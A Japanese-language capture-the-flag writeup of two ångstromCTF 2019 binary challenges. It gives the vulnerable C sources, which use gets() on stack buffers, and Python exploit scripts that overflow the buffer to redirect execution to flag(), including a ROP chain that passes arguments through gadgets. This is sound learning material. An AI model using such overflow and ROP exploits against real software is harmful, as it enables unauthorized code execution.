ångstromCTF 2019 Writeup

はじめに

ångstromCTF 2019 に参加した際に自分が解答した問題についてwriteupをまとめたいと思います. チームContrailとして参加しました.

エクスプロイトコードは重要な部分だけ掲載しています.

解いた問題

  • Aquarium
  • Chain of Rope

Aquarium

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
    system("/bin/cat flag.txt");
}

struct fish_tank {
    char name[50];
    int fish;
    int fish_size;
    int water;
    int width;
    int length;
    int height;
};


struct fish_tank create_aquarium() {
    struct fish_tank tank;

    printf("Enter the number of fish in your fish tank: ");
    scanf("%d", &tank.fish);
    getchar();

    printf("Enter the size of the fish in your fish tank: ");
    scanf("%d", &tank.fish_size);
    getchar();

    printf("Enter the amount of water in your fish tank: ");
    scanf("%d", &tank.water);
    getchar();

    printf("Enter the width of your fish tank: ");
    scanf("%d", &tank.width);
    getchar();

    printf("Enter the length of your fish tank: ");
    scanf("%d", &tank.length);
    getchar();

    printf("Enter the height of your fish tank: ");
    scanf("%d", &tank.height);
    getchar();

    printf("Enter the name of your fish tank: ");
    char name[50];
    gets(name);

    strcpy(name, tank.name);
    return tank;
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    struct fish_tank tank;

    tank = create_aquarium();

    if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
        printf("Your fish tank has overflowed!\n");
        return 1;
    }

    printf("Nice fish tank you have there.\n");

    return 0;
}

方針

gets()が使用されているためバッファオーバーフローが狙えそうです.gets()はマニュアルにあるように 使用すべきでない 関数です.なぜなら,入力長をチェックしないため改行(もしくはEOF)まで入力を受け続けるからです.

エクスプロイトコード

def main():
    payload = "A" * 152
    payload += p(0x4011b6)

    # 通信部分

    #read_until(s, "")
    read_until(s, "Enter the number of fish in your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the size of the fish in your fish tank: ")
    s.sendall("0\n")
    read_until(s, "Enter the amount of water in your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the width of your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the length of your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the height of your fish tank: ")
    s.sendall("1\n")

    read_until(s, "Enter the name of your fish tank: ")
    s.sendall(payload + "\n")

    sleep(1)
    print[s.recv(1024)]


Chain of Rope

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
    userToken = 0x1337;
    return 0;
}

int addBalance (int pin) {
    if (userToken == 0x1337 && pin == 0xdeadbeef) {
        balance = 0x4242;
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

int flag (int pin, int secret) {
    if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
        printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
        system("/bin/cat flag.txt");
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

void getInfo () {
    printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    char name [32];
    printf("--== ROPE CHAIN BLACK MARKET ==--\n");
    printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
    printf("What would you like to do?\n");
    printf("1 - Set name\n");
    printf("2 - Get user info\n");
    printf("3 - Grant access\n");
    int choice;
    scanf("%d\n", &choice);
    if (choice == 1) {
        gets(name);
    } else if (choice == 2) {
        getInfo();
    } else if (choice == 3) {
        printf("lmao no\n");
    } else {
        printf("I don't know what you're saying so get out of my black market\n");
    }
    return 0;
}

方針

問題のソースコードを見た第一印象は めんどくs 複雑な処理をしているなと感じました. ROPで引数を渡しながら関数を順に呼び出す方法も考えられましたが,gets()のバッファオーバーフローを利用してflag()の途中(0x401231)へ処理を飛ばしました.

f:id:m412u:20190427213345p:plain

エクスプロイトコード

def main():
    payload = "A" * 56
    payload += p(0x401231)

    # 通信部分

    read_until(s, "access")
    s.sendall("1\n")
    
    s.sendall(payload + "\n")

    sleep(1)
    print [s.recv(1024)]

別解

別解というよりはこちらが想定解だと思われます.

def main():
    payload = "A" * 56
    payload += p(0x401196)    # authorize
    
    payload += p(0x401403)    # pop_rdi_ret
    payload += p(0xdeadbeef)  # arg1
    payload += p(0x4011ab)    # addBalance

    payload += p(0x401403)    # pop_rdi_ret
    payload += p(0xba5eba11)  # arg1
    payload += p(0x401401)    # pop_rsi_pop_r15_ret
    payload += p(0xbedabb1e)  # arg2
    payload += p(0xdeadbeef)  # dummy
    payload += p(0x4011eb)    # flag
    
    # 通信部分

    read_until(s, "access")
    s.sendall("1\n")
    
    s.sendall(payload + "\n")

    sleep(1)
    print s.recv(1024)

まとめ

今回解答できた問題はどちらも同じ手法であったため,より多くの手法を身に付けてチームに貢献したいと思います.